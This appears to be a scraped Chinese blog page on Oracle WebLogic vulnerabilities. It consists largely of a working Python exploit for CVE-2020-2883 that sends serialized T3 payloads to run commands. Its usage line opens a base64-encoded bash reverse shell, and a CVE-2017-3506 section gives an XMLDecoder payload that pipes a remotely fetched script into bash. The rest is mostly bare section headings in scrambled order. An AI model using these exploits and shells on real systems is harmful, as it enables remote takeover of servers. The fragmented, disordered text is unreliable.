7452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647371007e000d000000007571007e001100000002707571007e001100000000740006696e766f6b657371007e000d000000007571007e00110000000174'
payload_lenhex = '{:04x}'.format(len(cmd))
payload_cmdhex = binascii.b2a_hex(cmd)
payload_end = '74000465786563770400000003767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707400013178'
payload = payload_start + payload_lenhex + payload_cmdhex + payload_end
return payload
class payloadtest(object):
def __init__(self):
self.vuln = 'cve_2020_2883'
def t3handshake(self,sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
data = sock.recv(1024)
#print data
#print 'handshake successful'
def buildT3RequestObject(self,sock,port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b19ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
#print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
def sendEvilObjData(self,sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
n=1
try:
while True:
n += 1
res += sock.recv(4096)
time.sleep(0.1)
if(n>15):
break
except Exception as e:
pass
return res
def check(self, url, cmd,timeout, proxies=globalProxies, **args):
(proto, ip, port, uri) = parseUrl(url)
server_addr = (ip, int(port))
if proto == 'https':
sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
try:
self.t3handshake(sock,server_addr)
self.buildT3RequestObject(sock,port)
payload = CVE_2020_2883(cmd)
resp = self.sendEvilObjData(sock,payload)
print ('Payload send succeed! Please check.')
return True
except Exception as e:
print ('Failed! Exception:{}'.format(str(e)))
return False
def poc(url,cmd):
x = payloadtest()
return x.check(url, cmd,20)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic cve-2020-2883 Exp',
usage='use "python %(prog)s --help" for more information',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-u", "--url",
dest="url",
help="the url to check"
)
parser.add_argument("-c", "--cmd",
dest="cmd",
help="the cmd to run on the target"
)
args = parser.parse_args()
if not args.url or not args.cmd:
sys.exit('Please assign url and cmd!')
poc(args.url, args.cmd)(2)利用命令
1
python2 CVE-2020-2883_2884.py -u http://192.168.100.137:7001 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjkvMTAwODYgMD4mMQ==}|{base64,-d}|{bash,-i}"
7. 总结
6.CVE-2020-2551
1. 漏洞背景与影响范围
-
三、代码审计要点
1. 审计关键路径
2. 补丁有效性验证
-
攻击流程
:
二、可利用的 URL 列表
以下为触发漏洞的核心 URL,需通过 POST 请求 发送恶意 XML 数据:
三、注意事项
3. CVE-2019-2725
1. 漏洞背景
2. 漏洞原理
(1) 核心触发流程
关键代码段 :
1
2
3
4// WorkContextXmlInputAdapter 构造函数
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1); // 未过滤直接反序列化
}(2) 补丁绕过机制
3. 代码审计要点
(1) 反序列化入口
(2) 补丁验证
(3) 利用链分析
4. 漏洞修复建议
5. 总结
4.CVE-2018-2628
一、漏洞背景
二、漏洞原理
1. 触发机制
-
使用 Python 脚本批量检测或执行命令,例如:
2. 漏洞验证与利用
-
通过代码审计可深入理解漏洞触发机制,结合补丁分析及修复验证,可有效防御此类反序列化漏洞。
2.CVE-2017-10271
一、漏洞背景
二、漏洞原理分析
1. 漏洞触发流程
关键代码段 :
1
2
3
4// WorkContextXmlInputAdapter 构造函数
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1); // 未过滤直接反序列化
}2. 补丁绕过逻辑
这些漏洞多数已被官方修复,但未及时更新的系统仍面临高风险。建议结合漏洞扫描工具(如Nessus)定期检查环境安全性。
漏洞细节
1. CVE-2017-3506
1. 漏洞背景
2. 漏洞触发原理
核心代码流程
关键代码段 :
1
2
3
4// WorkContextXmlInputAdapter 构造函数
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1); // 直接反序列化输入流
}恶意 XML 构造
攻击者构造的 XML 利用
java.lang.ProcessBuilder执行系统命令,例如:1
2
3
4
5
6
7
8
9
10
11
12<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>curl http://攻击者IP/恶意脚本 | bash</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>该 XML 通过
ProcessBuilder启动/bin/bash执行远程下载的恶意脚本。3. 代码审计要点
审计关键点
漏洞调用链分析
4. 修复方案与审计验证
补丁分析
1
2
3
4
5
6private void validate(InputStream is) {
// 检查 XML 中是否存在 object 标签
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}但该补丁因仅过滤单一标签而被绕过,后续 CVE-2017-10271 补丁扩展了黑名单(如
new、method等)。5. 总结与审计建议
8. 其他高危漏洞
7. 第三方库漏洞
-
风险
:默认管理员账户(如
6. 管理控制台漏洞
5. 权限提升漏洞
4. 服务器端请求伪造(SSRF)
-
CVE-2020-14882